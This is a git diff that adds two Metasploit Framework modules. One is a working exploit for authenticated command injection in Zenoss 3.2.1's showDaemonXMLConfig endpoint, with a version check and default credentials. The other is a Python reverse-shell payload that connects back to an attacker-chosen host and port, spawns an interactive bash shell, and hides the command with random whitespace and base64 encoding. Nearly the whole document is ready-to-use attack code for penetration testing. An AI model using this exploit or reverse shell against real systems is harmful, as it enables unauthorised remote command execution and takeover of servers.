diff --git a/modules/exploits/linux/http/zenoss_3.2.1_showdaemonxmlconfig_exec.rb b/modules/exploits/linux/http/zenoss_3.2.1_showdaemonxmlconfig_exec.rb new file mode 100644 index 0000000000..665150cbf0 --- /dev/null +++ b/modules/exploits/linux/http/zenoss_3.2.1_showdaemonxmlconfig_exec.rb @@ -0,0 +1,116 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Zenoss <= 3.2.1 showDaemonXMLConfig Command Execution', + 'Description' => %q{ + This module exploits a command execution vulnerability in Zenoss <= 3.2.1 + which could be abused to allow authenticated users to execute arbitrary + code under the context of the 'zenoss' user. The show_daemon_xml_configs() + function in the 'ZenossInfo.py' script calls Popen() with user + controlled data from the 'daemon' parameter. + }, + 'References' => + [ + ['URL', 'http://itsecuritysolutions.org/2012-07-30-zenoss-3.2.1-multiple-security-vulnerabilities/'], + #['OSVDB', 'None'], + #['CVE', 'None'], + ], + 'Author' => + [ + 'Brendan Coles ', # Discovery and exploit + ], + 'License' => MSF_LICENSE, + 'Version' => '$Revision: 1 $', + 'Privileged' => false, + 'Arch' => ARCH_CMD, + 'Platform' => 'unix', + 'Payload' => + { + 'Space' => 1024, + 'BadChars' => "\x00", + 'DisableNops' => true, + }, + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic python perl bash', + }, + 'Targets' => + [ + [ + 'Automatic Targeting', { 'auto' => true } + ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jul 30 2012' + )) + + register_options([ + Opt::RPORT(8080), + OptString.new('USERNAME', [true, 'The Zenoss username', 'zenoss']), + OptString.new('PASSWORD', [true, 'The Zenoss password', 'zenoss']) + ], self.class) + end + + def check + + # retrieve software version from login page + res = send_request_raw({ + 'method' => "GET", + 'uri' => "/zport/acl_users/cookieAuthHelper/login_form" + }) + return Exploit::CheckCode::Unknown if res.nil? + return Exploit::CheckCode::Vulnerable if res.body =~ /

Copyright © 2005-20[\d]{2} Zenoss, Inc\. \| Version\s+3\.2\.1<\/span>/ + return Exploit::CheckCode::Detected if res.body =~ // + return Exploit::CheckCode::Safe + + end + + def exploit + + @peer = "#{rhost}:#{rport}" + username = datastore['USERNAME'] + password = datastore['PASSWORD'] + command = URI.encode(payload.encoded)+"%26" + postdata = "__ac_name=#{username}&__ac_password=#{password}&daemon=#{command}" + + # send payload + print_status("#{@peer} - Sending payload to Zenoss (#{command.length.to_s} bytes)") + begin + res = send_request_raw({ + 'method' => 'POST', + 'uri' => "/zport/About/showDaemonXMLConfig", + 'data' => "#{postdata}", + 'headers' => { + 'Content-Length' => postdata.length, + } + }) + if res and res['Bobo-Exception-Type'] =~ /^Unauthorized$/ + print_error("#{@peer} - Authentication failed. Incorrect username/password.") + return + end + print_status("#{@peer} - Sent payload successfully") + rescue + print_error("#{@peer} - Sending payload failed") + end + + handler + + end + +end + diff --git a/modules/payloads/singles/cmd/unix/reverse_python.rb b/modules/payloads/singles/cmd/unix/reverse_python.rb new file mode 100644 index 0000000000..ed59723041 --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_python.rb @@ -0,0 +1,61 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Reverse TCP (via Python)', + 'Version' => '$Revision: 1 $', + 'Description' => 'Connect back and create a command shell via Python', + 'Author' => 'Brendan Coles ', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'python', + 'Payload' => { 'Offsets' => {}, 'Payload' => '' } + )) + register_options([ + OptString.new('SHELL', [true, 'The system shell to use.', '/bin/bash']) + ], self.class) + end + + def generate + return super + command_string + end + + # + # Generate random whitespace + # + + def random_padding + " "*rand(10) + end + + # + # Generate command string + # + + def command_string + raw_cmd = "import socket,subprocess,os;host=\"#{datastore['LHOST']}\";port=#{datastore['LPORT']};s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"#{datastore['SHELL']}\",\"-i\"]);" + obfuscated_cmd = raw_cmd.gsub(/,/, "#{random_padding},#{random_padding}").gsub(/;/, "#{random_padding};#{random_padding}") + encoded_cmd = Rex::Text.encode_base64(obfuscated_cmd) + "python -c \"exec('#{encoded_cmd}'.decode('base64'))\"" + end + +end